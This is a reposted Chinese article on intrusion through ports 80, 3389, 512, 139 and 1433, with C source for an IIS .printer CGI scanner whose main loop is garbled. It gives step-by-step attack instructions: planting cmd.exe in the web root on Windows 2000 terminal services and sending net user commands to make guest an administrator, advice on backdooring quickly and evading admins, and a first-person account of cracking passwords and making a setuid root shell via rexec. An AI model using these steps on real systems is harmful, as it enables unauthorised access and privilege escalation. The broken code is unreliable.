当前位置: 首页
网络安全
常见端口入侵实例:80、512、3389端口攻击

常见端口入侵实例:80、512、3389端口攻击

时间:2026-08-02
转载

许多网站为了提升安全性,会在Web服务器前端部署防火墙或实施TCP IP过滤策略,仅对外暴露TCP 80端口。从攻击者的视角来看,通过80端口上的CGI程序发起攻击是最直接的途径——当然,也不排除采用其他迂回手段。从网络管理员的角度出发,既要确保CGI自身的健壮性,也要重视整体网络的安全防护。目前市

许多网站为了提升安全性,会在Web服务器前端部署防火墙或实施TCP/IP过滤策略,仅对外暴露TCP 80端口。从攻击者的视角来看,通过80端口上的CGI程序发起攻击是最直接的途径——当然,也不排除采用其他迂回手段。从网络管理员的角度出发,既要确保CGI自身的健壮性,也要重视整体网络的安全防护。目前市面上针对80端口的CGI扫描工具种类繁多,但其核心原理基本一致。

CGI扫描器的原理其实非常直观,概括起来只需四句话:连接目标Web服务器;发送一个特殊构造的请求;接收目标服务器返回的数据;根据返回内容判断目标是否存在相应的CGI漏洞。

当管理的服务器数量达到一定规模后,手工逐一检测每台服务器的CGI漏洞将耗费大量时间和精力。因此,拥有一款实用的CGI漏洞扫描器,对网管而言十分必要。今天我们就自行编写一个简单的CGI漏洞扫描器(使用C语言),以便在日常工作中高效检测服务器安全状况。

源代码如下,多处添加了注释以便理解。

/*************************************************************************
Module:CGICheck.cpp     
Author:ey4s
Date:2001/5/16
说明:这是一个Console下多线程,带有进度显示的CGI扫描器的模板,
更改一下szSign和SendBuff就可以扫描其他CGI漏洞,
设置了连接、发送、接收超时,速度还可以哦。
希望可以帮助到admins检测自己的服务器:))
*************************************************************************/
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define iPort 80 //目标Web Server端口
#define szSign "500 13\r\nServer: Microsoft-IIS/5.0" //根据此标志来检查目标是否有漏洞
#pragma comment(lib,"ws2_32.lib")

///////////////////////////////////////////////////////////////////////////
// 定义&初始化全局变量
char *SendBuff="GET /NULL.printer\r\n"; //发送的请求buff
char CurrentTarget[52]=""; //存放最后一个线程将扫描的目标
char turn[4][2]={"|","/","-","\\"}; //显示进度时的字符
int SendBuffLen=strlen(SendBuff); //发送的buff长度
int iConnTimeout; //TCP Connect TimeOut
int ii=0; //扫描进度
int iTotal; //服务器总数
HANDLE hSemaphore=NULL; //信标内核对象句柄,用来控制线程数量
HANDLE hStdout; //console标准输出句柄,做进度显示的时候用的
struct timeval timeout; //连接、发送和接收的超时值
DWORD SleepTime; //每个一个线程后等待的时间

/* SleepTime值根据用户输入的线程数量[ThreadNum]和TCP ConnectTimeOut[CONNTIMEO]来计算。
确保在CONNTIMEO时间左右开ThreadNum个线程。
这样在CONNTIMEO时间后,所开的线程开始陆续超时退出,
可以继续稳定的开线程,可以有效的保证同时有ThreadNum个线程在运行。
*/
///////////////////////////////////////////////////////////////////////////
void ShowError(char *); //显示出错信息函数,可以写完善一些,偶偷懒了:)
BOOL ResetCursor(void); //重置光标位置,线程输出的时候调用的
DWORD WINAPI ShowProInfo(LPVOID); //显示进度信息
DWORD WINAPI scan(LPVOID); //扫描函数
void usage(char *); //帮助函数

///////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
    HANDLE hThread=NULL; //线程句柄
    DWORD dwThreadID; //线程ID
    struct sockaddr_in sa;
    int i,MaxThread; //最大线程数量
    WSADATA wsd;
    long PreviousCount;
    clock_t start,end; //程序运行的起始和结束时间
    double duration;
    //检查用户输入参数
    if(argc!=5)
    {
        usage(argv[0]);
        return 1;
    }
    //get target range
    int StartNet=inet_addr(argv[1]);
    int StopNet=inet_addr(argv[2]);
    int StartHost=ntohl(StartNet);
    int StopHost=ntohl(StopNet);
    //取得线程数量
    MaxThread=atoi(argv[3]);
    //取得conn超时时间
    iConnTimeout=atoi(argv[4]);
    //检查参数合法性
    if((iConnTimeout>6) || (iConnTimeout<2) || (MaxThread>500) || (MaxThread<1) || (StartHost>StopHost) || (StopHost>0xFFFFFFFF) || (StartHost<0))
    {
        usage(argv[0]);
        return 1;
    }
    //计算时间
    SleepTime=1000*iConnTimeout/MaxThread;
    //设置连接超时值
    timeout.tv_sec = iConnTimeout;
    timeout.tv_usec =0;
    __try
    {
        //开始计时
        start=clock();
        //加载winsock库
        if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
        {
            ShowError("WSAStartup");
            __lea ve;
        }
        //创建信标内核对象句柄
        hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);
        if(hSemaphore==NULL)
        {
            ShowError("CreateSemaphore");
            __lea ve;
        }
        //取得console标准输出句柄
        hStdout=GetStdHandle(STD_OUTPUT_HANDLE);
        if(hStdout==INVALID_HANDLE_VALUE)
        {
            ShowError("GetStdHandle");
            __lea ve;
        }
        //设置目标总数
        iTotal=StopHost-StartHost;
        //创建进度显示线程
        hThread=CreateThread(NULL,0,ShowProInfo,NULL,0,&dwThreadID);
        if(hThread==NULL)
        {
            ShowError("1 CreateThread");
            __lea ve;
        }
        //关闭句柄
        CloseHandle(hThread);
        //循环创建扫描线程
        for(i=StartHost;i=iTotal) break;
        //计算百分比
        m=(double)ii/(double)iTotal*100;
        //输出进度
        j++;
        if(j>=4) j=0;
        //ResetCursor();
        //这里直接输出,简单处理
        printf("\r[%d/%d] %s %5.2f%%", ii, iTotal, turn[j], m);
        Sleep(100);
        //如果扫描完成则退出
        if(ii>=iTotal) break;
    }
    return 0;
}

///////////////////////////////////////////////////////////////////////////
// 扫描函数
DWORD WINAPI scan(LPVOID lp)
{
    int i=(int)lp,iErr;
    struct sockaddr_in server;
    SOCKET s=INVALID_SOCKET;
    char RecvBuff[1024]="",*ptr;
    int RecvBuffLen=sizeof(RecvBuff);
    u_long ul=1; //初始化为非0值
    fd_set r,w;

    //create socket
    s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(s==INVALID_SOCKET)
    {
        printf("\nCreate socket failed:%d",GetLastError());
        ExitProcess(1);
    }
    //fill the addr struct
    server.sin_family=AF_INET;
    server.sin_port=htons(iPort);
    server.sin_addr.S_un.S_addr=htonl(i);
    __try
    {
        //设置socket为非锁定模式,ul为0值的话,那么socket将被设置为锁定模式
        iErr=ioctlsocket(s,FIONBIO,(unsigned long*)&ul);
        if(iErr==SOCKET_ERROR )
        {
            ResetCursor();
            ShowError("ioctlsocket");
            ExitProcess(1);
        }
        //connect to target
        connect(s,(struct sockaddr *)&server,sizeof(server));
        //设置select参数
        FD_ZERO(&w);
        FD_SET(s, &w);
        //等待connect成功&socket可写
        iErr=select(0, 0, &w, 0, &timeout);
        //等待返回后,socket仍不可写则退出
        if((iErr==SOCKET_ERROR) || (iErr==0))
        {
            __lea ve;
        }
        else
        {
            //send buff to target
            iErr=send(s,SendBuff,SendBuffLen,0);
            if(iErr==SOCKET_ERROR)
                __lea ve;
        }
        //等待socket可读
        FD_ZERO(&r);
        FD_SET(s, &r);
        iErr=select(0, &r, 0, 0, &timeout);
        if((iErr==SOCKET_ERROR) || (iErr==0))
        {
            __lea ve;
        }
        else
        {
            //recv buff from target
            iErr=recv(s,RecvBuff,RecvBuffLen,0);
            if(iErr==SOCKET_ERROR)
                __lea ve;
        }
        //verify buff
        ptr=strstr(RecvBuff,szSign);
        if(ptr!=NULL)
        {
            //线程输出前要先调用ResetCursor函数
            ResetCursor();
            //输出信息后务必加一个以上换行符号,输出前请别加换行符号,以免显示混乱
            printf("[%-15s] has .printer mapped.\n",inet_ntoa(server.sin_addr));
        }
    }
    __finally
    {
        if(!ReleaseSemaphore(hSemaphore,1,NULL))
            ShowError("thread ReleaseSemaphore failed");
        closesocket(s);
    }
    return 0;
}

///////////////////////////////////////////////////////////////////////////
void usage(char *proname)
{
    printf("\n%s v0.1 only can find IIS5 .Printer mapped"
           "\nPower by ey4s 2001.5.20"
           "\nhttp://www.patching.net"
           "\n\nUsage:%s StartIP StopIP ThreadNum CONNTIMEO"
           "\n\nNotice"
           "\n   StartIP StopIP ==>Don't forgot StopIP must large than StartIP"
           "\n   ThreadNum ==>Thread number,please input between 1-500"
           "\n   CONNTIMEO ==>TCP connect timeout,please input between 2-6"
           "\n\nExample"
           "\n   %s 192.168.0.0 192.168.255.255 200 2",proname,proname,proname);
}

该程序在VC++ 6.0下编译通过,并在Windows 2000环境中运行良好。

389端口的入侵

3389端口的入侵

由于微软对中国产品缺乏责任感,导致安装了终端服务和全拼输入法的Windows 2000服务器存在严重安全漏洞,攻击者可远程登录并获取超级用户权限。

攻击流程如下:

  1. 扫描3389端口(终端服务默认端口);
  2. 使用终端客户端程序进行连接;
  3. 按下Ctrl+Shift调出全拼输入法(其他输入法可能无效),鼠标右键点击(如果帮助菜单呈灰色,则说明目标已打补丁,请放弃),选择“帮助”→“输入法入门”;
  4. 在“选项”菜单上点击右键——>“跳转到URL”,输入:c:\winnt\system32\cmd.exe(若不确定NT系统目录,可输入c:或d:等逐步查找确认);
  5. 选择“保存到磁盘”,目标目录设为c:\inetpub\s,由于这是服务器本地的文件复制操作,过程很快完成;
  6. 打开IE,输入:http://ip/s/cmd.exe?/c dir,即可验证cmd.exe是否已成功上传;
  7. http://ip/s/cmd.exe?/c echo net user guest /active:yes>go.bat
  8. http://ip/s/cmd.exe?/c echo net user guest elise>>go.bat
  9. http://ip/s/cmd.exe?/c echo net localgroup administrators /add guest>>go.bat
  10. http://ip/s/cmd.exe?/c type go.bat查看批处理文件内容是否如下:
    net user guest /active:yes
    net user guest elise
    net localgroup administrators /add guest
  11. 在“选项”菜单上点击右键——>“跳转到URL”,输入:c:\inetpub\s\go.bat ——> 在磁盘当前位置执行该批处理;
  12. 至此,攻击成功,服务器guest账户被激活,密码为elise,并已加入管理员组。选择guest账户而非新建账户,更不易被察觉。随后可通过IPC$连接进行任意操作,甚至直接使用guest账户远程登录服务器。

注意事项:
1. 使用终端客户端登录服务器时,所有操作不会在本地屏幕显示,但如果管理员正在运行终端服务管理器,则可能看到你的进程ID、程序映像、IP地址及机器名,并能发送消息给你。
2. 连接过程会加重服务器负载,极易导致死机或断线,因此操作应尽量迅速。
3. 尽快建立后门,暂时不要上传任何程序,一是防止断线,二是避免对方及时打上补丁。

个人观点:
1. 在IE环境下,仅拥有iusr_machine权限,无法执行越权操作(如启动telnet、木马等)。
2. 通过URL跳转,可获得超级用户权限,请善加利用。
3. 跳转到某个目录后,通常只能查看或执行当前目录下的文件,无法进入子目录;如需进入子目录,需再次执行跳转。
4. 此方法似乎不受对方防火墙影响。
5. 实际操作中发现极易断线,但与服务器资源占用无关。测试目标为384M RAM PIII、静态IP、数据库服务器,配备RAID硬盘、SCSI CD ROM,已开机18天,凌晨2点进入时仍频繁掉线。

防御措施:
1. 安装官方安全补丁;
2. 删除全拼输入法,改用标准输入法即可;
3. 在服务中禁用Terminal Services(服务名称:TermService,对应程序:system32\termsrv.exe)。

512端口入侵

已经过去六十多天,Celeron 533仍在不知疲倦地运行着John……偶然注意到这个网站,起初只是想尝试一下。方法是大虾们常用的Finger,然后猜解用户口令进入。进入后发现PASSWD文件没有SHADOW,可直接查看。系统为Digital Unix,PASSWD中显示只有两个用户组:root和users。猜中的是一个users级别的账户,发现该级别用户几乎没有任何权限。Telnet上去后,/usr/users/xxx是各用户的Home目录,属性均为drwx------,说明用户之间互不信任(这在许多免费主页服务器上很常见)。看来即使猜出再多用户级口令也无济于事。

root级用户只有两个:root和shut。root口令John跑了60多天,显然不可能再跑出来,但幸运的是shut口令已被破解。毫不犹豫地telnet上去——然后,网站就关闭了!@#~!#^%,真笨,怎么没想到shut口令是用于关机的呢?

网站很快又重新开启,发现shut口令并未更改!这个网管是怎么当的,系统无故关闭也不查一下原因?很明显,这个网站只有root用户有技术能力,但他可能不在服务器所在地,无法直接操作开关机,于是给当地操作员分配了一个root级账户,并在.profile文件中嵌入了一个shell脚本,使得该账户一登录就自动关闭系统。考虑到系统设计如此周密,root在编写这个shell时肯定关闭了PATH,因此无法通过在优先PATH路径中放置同名shell来阻止它。如果能修改这个文件再telnet上去,不就能获得root权限了吗?

但是shut的HOME目录是drwx------,其他账户无法进入。尝试ftp,返回“530 user shut access denied”,users组可以通过ftp登录,但同样无法进入shut目录。而且该网站根本没有开启WWW服务,怎么办?为这个网站陆陆续续研究了许久,总是乐观地鼓励自己,“起码我已经知道几十种进不去的方法了……”。“真正的黑客从来都是把困难当作乐趣,敞开的大门你请他进他都不进呢!”如此六十多天过去了,直到有一天……

再次用haktek扫描该网站,结果如下:
Port 21 found. Desc='ftp'
Port 23 found. Desc='telnet'
Port 25 found. Desc='smtp'
Port 79 found. Desc='finger'
Port 111 found. Desc='portmap/sunrpc'
Port 512 found. Desc='biff/exec'
Port 513 found. Desc='login/who'
Port 514 found. Desc='shell/syslog'
Port 515 found. Desc='printer'
Port 1024 found.
Port 1025 found.
Port 1526 found.
Port 1528 found.

一个之前被忽略的端口512引起了注意。这个端口是什么时候开放的?它允许用户不登录即可在服务器上执行命令!!!赶紧尝试!

打开软件winrsh32,填入user和password,在命令中输入ls -la,点击运行——哇,文件全部列出来了!接下来就简单了:cp /bin/sh /tmp/.temp;chown root /tmp/.temp;chmod 4755 /tmp/.temp。然后使用之前破解的user级账户telnet,cd /tmp;.temp。当#符号映入眼帘时,心中却感到一丝落寞……可惜这个root一世谨慎,却毁在了允许shut使用512端口上。看来破坏一个世界总是比建立一个世界简单……

139端口入侵

139端口的入侵,主要利用建立空连接来获取用户名和共享名,随后通过字典攻击或穷举法猜测Administrators的密码,从而获得最高权限。

解决方案:
1. 禁止匿名共享。
2. 关闭管理共享。

1433端口入侵

1433端口的入侵,主要利用MS SQL Server默认sa密码为空的特点,通过远程执行命令实现攻击,或通过穷举法猜测密码。

游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。

同类文章
更多
DDoS攻击的三大主要形式:原理、特征与防御重点

DDoS攻击的三大主要形式:原理、特征与防御重点

DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。

时间:2026-08-31 11:56
如何有效预防和缓解DDoS攻击:5大核心策略详解

如何有效预防和缓解DDoS攻击:5大核心策略详解

面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。

时间:2026-08-31 11:56
DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析

DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析

许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。

时间:2026-08-31 11:55
常见DDoS攻击类型详解:原理、特征与防御策略

常见DDoS攻击类型详解:原理、特征与防御策略

本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。

时间:2026-08-31 11:55
如何有效抵御DDOS攻击:4种核心防护方案解析

如何有效抵御DDOS攻击:4种核心防护方案解析

面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。

时间:2026-08-31 11:54
热门专题
更多
刀塔传奇破解版无限钻石下载大全 刀塔传奇破解版无限钻石下载大全
洛克王国正式正版手游下载安装大全 洛克王国正式正版手游下载安装大全
思美人手游下载专区 思美人手游下载专区
好玩的阿拉德之怒游戏下载合集 好玩的阿拉德之怒游戏下载合集
不思议迷宫手游下载合集 不思议迷宫手游下载合集
百宝袋汉化组游戏最新合集 百宝袋汉化组游戏最新合集
jsk游戏合集30款游戏大全 jsk游戏合集30款游戏大全
宾果消消消原版下载大全 宾果消消消原版下载大全